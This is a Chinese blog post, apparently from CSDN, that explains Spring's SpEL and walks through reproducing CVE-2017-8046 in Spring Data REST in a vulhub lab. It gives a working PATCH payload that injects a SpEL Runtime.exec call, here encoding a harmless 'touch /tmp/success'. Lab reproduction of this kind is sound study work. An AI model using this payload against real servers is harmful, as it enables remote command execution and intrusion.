首页 > 其他分享 >Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

时间:2024-08-07 22:30:18浏览次数:10  
标签:8046 对象 Spring 命令 SpEL 2017 CVE 表达式

简介:

Spring是Java EE编程领域的⼀个轻量级开源框架,该框架由⼀个叫Rod Johnson的程序员 在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各 层的松耦合问题,因此它将⾯向接⼝的编程思想贯穿整个系统应⽤,实现敏捷开发的应⽤型框 架。框架的主要优势之⼀就是其分层架构,分层架构允许使⽤者选择使⽤哪⼀个组件,同时为 J2EE应⽤程序开发提供集成的框架。 2009年9⽉Spring 3.0 RC1发布后,Spring就引⼊了SpEL (Spring Expression Language)。类⽐Struts2框架,会发现绝⼤部分的安全漏洞都和OGNL脱不了⼲系。尤其是远程 命令执⾏漏洞,这导致Struts2越来越不受待⻅。 因此,Spring引⼊SpEL必然增加安全⻛险。事实上,过去多个Spring CVE都与其相关,如 CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。 SpEL是什么? SpEL(Spring Expression Language)是基于spring的⼀个表达式语⾔,类似于struts的 OGNL,能够在运⾏时动态执⾏⼀些运算甚⾄⼀些指令,类似于Java的反射功能。就使⽤⽅法上 来看,⼀共分为三类,分别是直接在注解中使⽤,在XML⽂件中使⽤和直接在代码块中使⽤。 SpEL原理如下: 1. 表达式:可以认为就是传⼊的字符串内容; 2. 解析器︰将字符串解析为表达式内容; 3. 上下⽂:表达式对象执⾏的环境; 4. 根对象和活动上下⽂对象∶根对象是默认的活动上下⽂对象,活动上下⽂对象表示了当前表达 式操作的对象。

 环境搭建:

kali vulhub靶场 /spring/CVE-2017-8046

         漏洞复现

访问  http://your-ip:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

抓包发送到burp里的repeater模块里 把请求改成PATCH 在最下面 加上数据 go一下

数据:

 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

返回kali 输入命令进docker入容器 ls /tmp查看 可以发现 成功创建success

标签:8046,对象,Spring,命令,SpEL,2017,CVE,表达式
From: https://blog.csdn.net/2201_75891821/article/details/140998849

相关文章

  • A098-基于SpringBoot的雪具销售系统(源码+LW+PPT+开发文档+数据库文档+部署说明文档)
    开发语言:Java框架:springbootJDK版本:JDK1.8服务器:tomcat7数据库:mysql5.7(一定要5.7版本)数据库工具:Navicat11开发软件:eclipse/myeclipse/ideaMaven包:Maven3.3.9浏览器:谷歌浏览器配置环境安装包:Java配置环境链接:https://cloud.189.cn/t/baeQZrAjEvyy(访问码:pfd5)  ......
  • Spring Boot 3 + MinIO集群 + Nginx 负载均衡 实现图片(头像)的上传 + 更新替换 + 下载
    1.容器准备1.1容器结构 1.2启动容器1.3docker-compose.ymlversion:'3.8'#指定DockerCompose文件的版本,这里使用版本3.8services:minio1:image:minio/minio:latest#使用最新的MinIO镜像来创建MinIO服务的容器volumes:-./data1......
  • SpringAMQP的简要实现
    1.BasicQueue简单队列模型1.1导入依赖<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId></dependency>1.2yamlspring:rabbitmq:host:192.168.150.101#主机名......
  • crictllog执行命令报错:ContainerStatus from runtime service failed“
    执行crictl有pod、但是crictllogs容器id有报错 解决方式:因crictllog查看的是container容器、这个容器是查看ctr中的容器见截图信息:查看容器信息:-n指定命名空间(k8s.容器默认是运行在k8s.io这个namespace下、所以需要指定)ctrpods 查看的只是头部信息、所以获取......
  • Linux kill命令给进程发信号
    Linux系统中进程之间可以通过信号进行通信。kill命令可以通过进程ID(即PID)给进程发信号,格式示例如下。当直接使用“kill<pid>”命令时,默认发送SIGTERM信号。kill-<signal><pid>进程信号如下:信号名称值描述SIGHUP    1  Hangup(POSIX)         ......
  • 从0到1:穿透 SpringCloud 工业级 底座工程的架构和实操,让自己实力猛增
    文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录博客园版为您奉上珍贵的学习资源:免费赠送:《尼恩Java面试宝典》持续更新+史上最全+面试必备2000页+面试必备+大厂必备+涨薪必备免费赠送:《尼恩技术圣经+高并发系列PDF》,帮你实现技术自由,完成职业升级,薪......
  • SpringBoot - 自动装配
    SpringBoot-自动装配SpringBoot最核心的功能就是自动装配,Starter作为SpringBoot的核心功能之一,基于自动配置代码提供了自动配置模块及依赖的能力,让软件集成变得简单、易用。使用SpringBoot时,我们只需引人对应的Starter,SpringBoot启动时便会自动加载相关依赖,集成相关功......
  • SpringBoot项目中HTTP请求体只能读一次?试试这方案
    问题描述在基于Spring开发Java项目时,可能需要重复读取HTTP请求体中的数据,例如使用拦截器打印入参信息等,但当我们重复调用getInputStream()或者getReader()时,通常会遇到类似以下的错误信息:大体的意思是当前request的getInputStream()已经被调用过了。那为什么会出现这个问题呢?......
  • springboot的jar在linux上sh启动脚本
     java在linux上start、stop、restart、status等启动命令,sh脚本,appMgr.sh放在reources/ops下#!/usr/bin/shAPP_NAME="@project.name@[email protected]@.jar"DEPLOY_PATH=`pwd`#JVM启动参数1JVM_PARAMS="-Dfastjson.parser.safeMode=true"command=$1#nohup......
  • spring原理(第十一天)
    从@Aspect到Advisor代理创建器准备好两种切面staticclassTarget1{publicvoidfoo(){System.out.println("target1foo");}}staticclassTarget2{publicvoidbar(){System.out.println("tar......